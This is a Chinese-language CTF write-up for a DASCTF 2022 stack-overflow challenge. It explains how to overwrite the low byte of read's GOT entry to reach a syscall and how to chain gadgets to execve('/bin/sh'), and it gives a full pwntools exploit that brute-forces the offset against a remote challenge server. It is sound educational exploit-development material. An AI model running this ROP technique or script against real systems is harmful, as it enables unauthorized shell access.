DASCTF_2022_10 R()P
DASCTF_2022_10 ROP()
突然想到栈题好久没复习了,找了个旧题练了练。
代码审计
一黄一绿两红的防护
主要函数逻辑:
int __cdecl main(int argc, const char **argv, const char **envp)
{
const char **v3; // rdx
char v5[4]; // [rsp+8h] [rbp-10h] BYREF
void *buf; // [rsp+Ch] [rbp-Ch] BYREF
LODWORD(buf) = 0x100;
read(0, &buf, 4uLL);
if ( (unsigned int)buf > 0x100 )
main(0, (const char **)&buf, v3);
read(0, v5, (unsigned int)buf);
return (int)buf;
}
非常简单的程序,难点在于没有合适的gadget,这个题大概采用了更高级别的编译方式,不像是常规的ELF,里面会有"pop rdi;ret;"以及csu等好用的gadget
另外,题目没有write,让泄露变得难上加难
巧用gadget
首先,有个小技巧,read+0x10的位置是syscall指令,如果我们可以修改read的got表项的低位,就可以把执行read函数的操作变成执行syscall。
由于这一题没有给我们提供write函数,所以这题泄露libc较为困难,思路定在覆盖got表低位修改为syscall,之后尝试修改寄存器执行execve的syscall。
为此我们要实现:
- rax为0x3b
- rdi指向/bin/sh
- rsi为0(或指向0)
- rdx为0(或指向0)
由于没有开启PIE,所以一般来说我们能控制edi就相当于控制了rdi,别的寄存器同理
使用ROPgadget --binary ./pwn可以查看好用的gadget,我们会发现如下gadget比较好用:
0x0000000000401099 : mov edi, 0x404018 ; jmp rax
这里把0x404018赋值给了edi,并且跳转到了rax处。而0x404018是bss段的地址(你在ida里面可以看到这个是bss_start),这里是空白的,没有重要数据在此存储,且这里可写。我们可以设法把/bin/sh写在这里。
那么又有了一个问题rax如何控制?
main函数结尾有这一段指令:
.text:000000000040116D 8B 44 24 0C mov eax, dword ptr [rsp+18h+buf]
.text:0000000000401171 48 83 C4 18 add rsp, 18h
.text:0000000000401175 C3 retn
这段汇编指令可以将栈上数据赋值给eax,并且栈会自动往下降,不用担心填入的数据会影响rop链的布置
再看第二次调用read函数
.text:0000000000401155 loc_401155: ; CODE XREF: main+5A↓j
.text:0000000000401155 48 8D 44 24 08 lea rax, [rsp+18h+var_10]
.text:000000000040115A 48 89 C6 mov rsi, rax ; buf
.text:000000000040115D 8B 54 24 0C mov edx, dword ptr [rsp+18h+buf] ; nbytes
.text:0000000000401161 31 FF xor edi, edi ; fd
.text:0000000000401163 B8 00 00 00 00 mov eax, 0
.text:0000000000401168 E8 C3 FE FF FF call _read
.text:000000000040116D 8B 44 24 0C mov eax, dword ptr [rsp+18h+buf]
.text:0000000000401171 48 83 C4 18 add rsp, 18h
.text:0000000000401175 C3 retn
我们可以将返回地址设置到mov rsi, rax上这样我们就能借机控制rsi
同时,将返回地址设置为mov edx, dword ptr [rsp+18h+buf],就能利用栈上布置的数据控制edx
注意,每次read后,后面会跟上之前能控制eax的gadget,因此每次read后,先前给rdx赋的值还会再一次赋值给rax。
这一个read有个问题,每次的read之前都会让eax为0
我们还有上一个read,这也提供了一个很重要的指令:
.text:0000000000401141 48 8D 74 24 0C lea rsi, [rsp+18h+buf] ; buf
.text:0000000000401146 E8 E5 FE FF FF call _read
可以靠它来控制执行read函数之前rsi指向地址的值,这里可以用在跑execve的时候让rsi指向0
于是便有了如下思路:
- 设置rax为bss_start,再跳到read上面去修改rsi为bss_start,之后把/bin/sh读进bss
- 设置rax为read_got,再跳到read上面去修改rsi为bss_start,之后把偏移写进read地址的低位,由于题目没有给出libc这里需要爆破。read函数很简短,函数起点也都是0x10对齐的,一般来说一个字节之内就爆破出来。
- 直接跳回到read上方设置edx的地址,控制rdx为0,这样还会往read_got去进行sys_read操作,但是由于edx为0,因此不会破坏read_got
- 通过mov eax, dword ptr [rsp+18h+buf],设置rax为mov eax, dword ptr [rsp+18h+buf]的地址(套娃了),然后过去修改rdi为bss_start,依靠rax回来到设置rax的地方,将rax设置为0x3b,再靠着rop链过去清空rsi指向地址(上文后一个read函数)
实际编写的时候,会涉及到长度不够问题。这里注意第一次设置rax为bss_start的时候,可以通过栈溢出操作直接写入bss_start地址。这样就不必耗费一次mov eax, dword ptr [rsp+18h+buf]了。
exp如下
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
#context.log_level = 'debug'
ELFpath = '/home/wjc/Desktop/pwn'
# libcpath='/home/wjc/Desktop/libc.so.6'
# p=process(ELFpath)
p = remote('node4.buuoj.cn', 25965)
e = ELF(ELFpath)
# libc=ELF(libcpath)
def ru(s): return p.recvuntil(s)
def r(n): return p.recv(n)
def sl(s): return p.sendline(s)
def sls(s): return p.sendline(str(s))
def ss(s): return p.send(str(s))
def s(s): return p.send(s)
def uu64(data): return u64(data.ljust(8, '\x00'))
def it(): return p.interactive()
def b(): return gdb.attach(p)
def bp(bkp): return gdb.attach(p, 'b *'+str(bkp))
LOGTOOL = {}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s" % (i[0]+":", hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
text_base, libc_base = get_base(p, 'pwn')
script = '''
set $text_base = {}
set $libc_base = {}
b*0x401175
'''.format(text_base, libc_base)
# b mprotect
# b *($text_base+0x0000000000000000F84)
# b *($text_base+0x000000000000134C)
# b *($text_base+0x0000000000000000001126)
# dprintf *($text_base+0x04441),"%c",$ax
# dprintf *($text_base+0x04441),"%c",$ax
# 0x12D5
# 0x04441
# b *($text_base+0x0000000000001671)
gdb.attach(p, script)
def pwn(offset):
# 0x000000000040116d : mov eax, dword ptr [rsp + 0xc] ; add rsp, 0x18 ; ret
mov_eax_rsp0xc_add_rsp_0x18_ret = 0x40116d
# read+0x10: syscall lowbyte:0x10
magic_read = 0x40115A
magic_read_another = 0x40115D
# 0x0000000000401099 : mov edi, 0x404018 ; jmp rax
mov_edi_bss_jmp_rax = 0x401099
lea_rsi_rsp0xc0_call_read = 0x401141
bss_start = 0x404018
# 0x000000000040101a : ret
ret_addr = 0x40101a
read_plt = e.plt['read']
read_got = e.got['read']
# debug()
s(p32(0x100))
sleep(0.1)
pay = ''
pay += p32(0)
pay += p32(bss_start)
pay += p64(0)
pay += p64(magic_read)
pay += p64(0)
pay += p32(0)
pay += p32(0x8)
pay += p64(0)
pay += p64(mov_eax_rsp0xc_add_rsp_0x18_ret)
pay += p64(0)
pay += p32(0)
pay += p32(read_got)
pay += p64(0)
pay += p64(magic_read)
pay += p64(0)
pay += p32(0)
pay += p32(1)
pay += p64(0)
pay += p64(magic_read_another)
pay += p64(0)
pay += p32(0)
pay += p32(0)
pay += p64(0)
pay += p64(mov_eax_rsp0xc_add_rsp_0x18_ret)
pay += p64(0)
pay += p32(0)
pay += p32(mov_eax_rsp0xc_add_rsp_0x18_ret)
pay += p64(0)
pay += p64(mov_edi_bss_jmp_rax)
pay += p64(0)
pay += p32(0)
pay += p32(0x3b)
pay += p64(0)
pay += p64(ret_addr)
pay += p64(lea_rsi_rsp0xc0_call_read)
pay = pay.ljust(0x100, '\x00')
s(pay)
#pause()
s('/bin/sh')
#pause()
sleep(0.1)
s(chr(offset))
sleep(0.1)
sl('echo winwinwin')
ru('winwinwin')
p.close()
if __name__ == "__main__":
for i in range(0x100):
try:
p = remote('node4.buuoj.cn', 25965)
#p=process(ELFpath)
print("offset: %s",hex(i))
pwn(i)
it()
except:
p.close()
理念提炼
- 修改got表项创造syscall
- 传参所用寄存器的设置过程,会涉及到一其他寄存器作为中介,如上面的rax,可以通过这个方式来控制截胡某个寄存器。这里需要就题论题
- gadget题需要广泛搜索一切能用的gadget,善用ida和ROPgadget的搜索功能,不要被先入为主的想法架空,要深入到具体的汇编指令中